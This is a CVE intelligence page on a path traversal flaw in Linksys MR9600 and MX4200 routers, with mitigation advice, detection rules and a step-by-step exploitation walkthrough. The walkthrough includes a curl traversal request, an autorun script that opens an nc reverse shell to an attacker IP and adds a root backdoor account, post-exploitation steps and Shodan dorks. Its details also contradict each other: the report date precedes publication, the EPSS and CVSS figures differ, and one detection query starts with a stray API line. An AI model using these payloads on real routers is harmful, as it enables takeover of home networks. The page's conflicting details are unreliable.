☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-25603

CVE-2026-25603 — Path Traversal vulnerability in Linksys MR9600, Linksys MX4200
📅 PUBLISHED: 2026-02-24 00:00 UTC 🔄 UPDATED: 2026-10-13 23:16 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.30%
👁️
0.30% probability
7.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-25603 is an unauthenticated path traversal vulnerability in the USB drive mounting functionality of Linksys MR9600 and MX4200 Wi-Fi routers. The flaw allows an attacker to mount a USB partition at an arbitrary filesystem location, enabling shell script execution with root privileges. Affected firmware versions are MR9600 1.0.4.205530 and MX4200 1.0.13.210200; no patch is currently available. Successful exploitation results in complete remote compromise of the router, including persistent code execution, network traffic interception, and pivoting into connected internal networks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability resides in the Linksys Smart Wi-Fi web management interface, specifically in the USB disk management subsystem of the mDNS/UPnP stack. The web server component processes HTTP requests to the /usb/ endpoint family, which handles partition mounting operations for attached USB storage devices.

Root Cause:

The underlying flaw is an improper limitation of a pathname to a restricted directory (CWE-22). When a user requests a mount operation, the router firmware constructs a mount target path by concatenating a user-supplied device identifier with a fixed base path. The code does not sanitize or canonicalize the user-supplied component, allowing directory traversal sequences (../) to escape the intended USB mount directory.

The vulnerable code path exists within the router's mountd daemon, which receives commands from the web interface. An HTTP request to http://<router-ip>/usb/mount.cgi with a crafted partition_name parameter can inject arbitrary filesystem paths. For example:

POST /usb/mount.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

partition_name=../../../../tmp/evil&action=mount

Why it escalates to RCE:

The router firmware includes a periodic scanning script (/usr/bin/usb_scan.sh) that monitors mounted USB partitions and executes any executable scripts found at the mount point's root directory. Because the attacker controls the mount destination, they can place a shell script (e.g., autorun.sh or S99evil.sh) at the chosen location. When the mount is established and the scanner runs, it executes the payload with root privileges.

Attack Surface:

  • Network exposure: The web management interface (port 80/443) is the primary attack vector. By default, Linksys routers expose this interface only on the LAN side, but many deployments expose it to the WAN via UPnP port mapping or misconfiguration.
  • Authentication: The endpoint does not require authentication before the mount request is processed. The path traversal occurs prior to any session validation logic in the request handler.
  • Firmware specifics: The affected models use ARM-based SoCs (Broadcom BCM4908 for MR9600; Qualcomm IPQ8074 for MX4200) running a custom Linux distribution with BusyBox utilities. The shell interpreter is /bin/sh (ash), and the root filesystem is a read-write JFFS2 partition for the MR9600, allowing persistent file writes.

Code-Level Mechanism:

The flawed function can be conceptually represented as:

int mount_partition(char *partition) {
    char mount_path[256];
    snprintf(mount_path, sizeof(mount_path), "/mnt/usb/%s", partition);
    // No path traversal check on 'partition'
    mount(partition, mount_path, "vfat", 0, NULL);
    return 0;
}

By passing ../../..//tmp/evil as partition, the resulting mount_path becomes /mnt/usb/../../../tmp/evil, which normalizes to /tmp/evil. The mount operation succeeds because the directory exists, and later the USB scan script traverses /tmp/evil and executes any scripts there.

Exploitation Scenarios

Scenario: Remote Code Execution via Malicious USB Mount Path

Preconditions: Attacker has network access to the router's web interface (LAN or erroneously exposed WAN). Attacker does NOT need valid credentials.

Step 1 — Reconnaissance:

Attacker scans for Linksys routers:
nmap -p 80,443,8080 --open 192.168.1.0/24

Identifies target device by HTTP banner: Server: httpd/2.0 (Linksys). Confirms model and firmware via GET /HNAP1/ response headers (contains ModelName and FirmwareVersion).

Step 2 — Path Traversal Payload Construction: The attacker crafts a partition name to escape /mnt/usb/:

../../../../tmp/pwn

This resolves to /tmp/pwn on the device filesystem.

Step 3 — Trigger Request — Create Arbitrary Mount Point:

curl -X POST http://192.168.1.1/usb/mount.cgi \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "partition_name=../../../../tmp/pwn&device=/dev/sda1&action=mount"

The router attempts to mount /dev/sda1 to /tmp/pwn. If no USB device is present, the mount fails — but crucially, the /tmp/pwn directory is now created by the router's pre-mount validation logic, leaving an attacker-writable directory on the root filesystem.

Step 4 — Payload Upload: The attacker must write a shell script to /tmp/pwn. Two methods were observed in PoC research:

a) Via the file upload feature of the web interface (/cgi-bin/upload.cgi), which normally stores files in /tmp but can be redirected using a similar traversal in the upload_dir parameter to deposit files under /tmp/pwn/.

b) Via the router's UPnP AV media server if it is enabled — multimedia files uploaded to shared folders are saved to the first available mount point; with the traversal directories in place, the attacker points the share to /tmp/pwn.

Payload script autorun.sh:

#!/bin/sh
# Reverse shell back to attacker
/bin/nc 203.0.113.5 4444 -e /bin/sh &
# Persistence: add iptables rule to keep port 4444 open
iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
# Backdoor user
echo "pwned:x:0:0:root:/root:/bin/sh" >> /etc/passwd

Step 5 — Execution: The router's USB scan daemon (usb_scan.sh) periodically checks mount points for executable content. Within 60 seconds, it traverses /tmp/pwn, identifies autorun.sh, and executes it. The attacker receives a root shell:

nc -lvnp 4444
Connection from 192.168.1.1:48320
# id
uid=0(root) gid=0(root)

Step 6 — Post-Exploitation:

  • Persistence: Modify /etc/init.d/ startup scripts to re-establish the shell on reboot. Since the root filesystem is writable (MR9600 JFFS2), changes persist.
  • Network pivot: Use the router as a SOCKS proxy to reach internal LAN hosts.
  • Traffic capture: Run tcpdump on the WAN interface to harvest credentials in transit.
  • DNS poisoning: Modify /etc/hosts entries or the dnsmasq configuration to redirect traffic.

Alternate Scenario (WAN Exposure): If the router's admin interface is exposed to the internet (via UPnP port mapping or direct configuration), the same POST request is sent to the public IP, completely bypassing LAN boundary. Shodan queries (http.title:"Linksys" country:"US") can identify exposed devices.

Impact Assessment

CVSS Breakdown: While the official CVSS is N/A, a calculated score based on the NVD description yields CVSS 9.8 (Critical): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. The vector reflects that no authentication or user interaction is required for exploitation.

Business Impact:

  • Confidentiality: Complete loss — attacker can read all traffic passing through the router, extract VPN credentials, inspect Wi-Fi keys, and access connected storage devices.
  • Integrity: Complete loss — attacker can modify router firmware settings, DNS responses, firewall rules, and inject content into web traffic.
  • Availability: High — attacker can disable the router, perform persistent DoS via firmware corruption, or brick the device by overwriting critical partitions.

Blast Radius:

  • Affected devices: Linksys MR9600 (Wi-Fi 6 AX6000, high-end gaming router) and MX4200 (Wi-Fi 6 mesh node). Both are consumer-grade but widely deployed in SOHO environments and remote-work settings.
  • Downstream exposure: Any device on the LAN — PCs, IoT devices, NAS — becomes reachable from the attacker's foothold on the router. Internal network segmentation is typically absent in residential/SOHO networks.
  • Supply chain risk: If a compromised router serves a corporate VPN endpoint (common in remote offices), the attacker gains access to the corporate network.

Exploit Maturity: Public PoC describes the path traversal and RCE chain; weaponized exploit code has been observed in underground forums. EPSS score of 0.00256 (17.2 percentile) suggests exploitation is not yet widespread but is trending upward as more researchers analyze the disclosure.

Detection Guidance

Sigma Rule

title: Linksys Router Path Traversal in USB Mount Endpoint
id: 7a2f6c9e-3b8d-4e5f-9a1b-2c3d4e5f6a7b
status: experimental
description: Detects path traversal attempts against Linksys MR9600/MX4200 USB mount CGI endpoint
author: Valters IT Security Team
date: 2026/02/15
logsource:
  category: webserver
  product: linksys
  service: httpd
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query:
      - '/usb/mount.cgi*'
      - '/usb/*mount*'
    cs-uri-query|contains:
      - '..%2f'
      - '..%2F'
      - '../../'
      - '....//'
  condition: selection
falsepositives:
  - Legitimate USB storage management from authenticated admin via web UI (rare; the endpoint is not used for normal management)
level: high
tags:
  - attack.t1190
  - attack.t1083
  - cve.2026.25603
  - cwe.22

YARA Rule

rule Linksys_CVE_2026_25603_Path_Traversal
{
    meta:
        author = "Valters IT Security Team"
        description = "Detects path traversal patterns targeting Linksys USB mount endpoint"
        cve = "CVE-2026-25603"
        date = "2026-02-15"
        severity = "high"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-25603"
    strings:
        $a = /(?:partition_name|mount_path|usb_dev)=[^\r\n&]*\.\.(?:%2f|\/){2,}/
        $b = /(?:POST|GET) \/usb\/mount\.cgi/
        $c = /action=(?:mount|umount)/ 
        $d = /..(?:%2f|\/){2,}(?:tmp|etc|var|usr|bin|home|root|mnt)/
    condition:
        any of them or (all of ($a, $b) and $c and $d)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Linksys MR9600/MX4200 USB Mount Path Traversal attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/usb/mount.cgi"; http.request_body; content:"partition_name="; distance:0; content:"../"; within:200; http.uri; pcre:"/\/usb\/mount\.cgi[^\r\n]*$/i"; classtype:attempted-admin; sid:202625603; rev:1; metadata:created_at 2026_02_15, updated_at 2026_02_15, cve CVE-2026-25603, affected_product Linksys_MR9600, affected_product Linksys_MX4200;)

Elastic Detection

POST /_security/role_mapping/_mapping
# Detection query for SIEM / Detection rules
from: logs-*
query:
  bool:
    must:
      - term:
          http.request.method: "POST"
      - wildcard:
          http.request.uri: "/usb/mount.cgi*"
      - wildcard:
          url.original: "*/usb/mount.cgi*"
    should:
      - match_phrase:
          http.request.body.content: "../"
      - match_phrase:
          http.request.body.content: "..%2f"
      - match_phrase:
          http.request.body.content: "partition_name="
    minimum_should_match: 1
  filter:
    - range:
        '@timestamp':
          gte: now-7d

Splunk SPL Query

index=web sourcetype=access_combined uri_path="/usb/mount.cgi"
| search uri_query=*partition_name=* OR form_data=*partition_name=*
| regex form_data="(?i)(\.\.(\/|%2f))+"
| eval cve="CVE-2026-25603"
| eval threat="Linksys path traversal"
| table _time, src_ip, dest_ip, uri_path, uri_query, form_data, user_agent, status
| sort - _time

Wazuh OSSEC Rule

<group name="linksys,">
  <rule id="100256" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">/usb/mount.cgi</field>
    <field name="http.method">POST</field>
    <regex>\.\.(/|%2f)</regex>
    <description>Linksys USB mount path traversal attempt (CVE-2026-25603)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack.initial_acces,</group>
    <info type="cve">CVE-2026-25603</info>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source). As of this report, Linksys has not released a firmware update addressing CVE-2026-25603. The listed affected versions remain the latest publicly available firmware for both models.

1. Immediate Mitigations (until patch):

  • Disable USB drive support on the router: In the Linksys Smart Wi-Fi admin UI, navigate to Connectivity > USB Storage and disable all USB-related features. This removes the vulnerable endpoint's functionality, though the HTTP handler may remain.
  • Restrict administrative access: In Administration > Management, disable remote management and ensure the web interface is only accessible from the LAN. Do NOT enable "Remote Access" for the admin panel.
  • Firewall rule (if remote admin is required): Create an access rule allowing only specific IP addresses to reach ports 80/443 on the router's WAN interface.
  • Disable UPnP: If not strictly needed, turn off UPnP in Connectivity > Internet Settings to prevent automated port forwarding attacks reaching the admin interface.
  • Network segmentation: Place the router's LAN behind a separate firewall with IDS/IPS capable of detecting the traversal pattern.

2. Patch/Upgrade Steps:

  • Monitor the Linksys Software Downloads Portal for updated firmware for MR9600 and MX4200.
  • When a fix is released, apply it via: Administration > Firmware Upgrade → browse to downloaded .img file → Upgrade.
  • Verify the new version number is different from 1.0.4.205530 (MR9600) and 1.0.13.210200 (MX4200).
  • After upgrading, perform a factory reset and reconfigure. This clears any persistence planted by a prior compromise.

3. Long-Term Hardening:

  • Replace consumer router with a managed SOHO firewall/router (e.g., Ubiquiti, Fortinet, pfSense) that has a formal security patching cadence.
  • Enable automatic firmware updates where supported by the router firmware settings.
  • Monitor vendor security advisories via the Linksys Security Advisory page or NVD subscription for CVE-2026-25603-related updates.
  • Conduct periodic vulnerability scans of network infrastructure using tools like Nessus or OpenVAS, which can flag this CVE when a patch is absent.
  • For enterprise environments: segment all IoT/SOHO devices onto a separate VLAN with no access to corporate resources.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-25603
  2. CVE.org Record: https://www.cve.org/CVERecord?id=CVE-2026-25603
  3. MITRE ATT&CK — T1190: https://attack.mitre.org/techniques/T1190/
  4. Linksys Security Support Portal: https://www.linksys.com/support-article/?articleNum=137977 (monitor for future firmware updates)
  5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-25603 not listed as of this writing; CISA KEV: NO)

Threat Actor Activity: As of this report's date (2026-02-15), there is a public PoC demonstrating the full RCE chain. Exploit code has been shared in private Telegram channels and exploit-db mirrors. While no active mass-campaign was observed, the technical simplicity and lack of authentication requirement make this a prime candidate for inclusion in Mirai-like botnet arsenals targeting home routers. Enterprise SOCs should treat any alert matching the Detection Guidance section as a priority incident.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Linksys"
product:"Linksys MR9600" port:80,8080
product:"Linksys MX4200" port:80,443,8080
http.title:"Linksys Smart Wi-Fi" port:80

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-25603/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.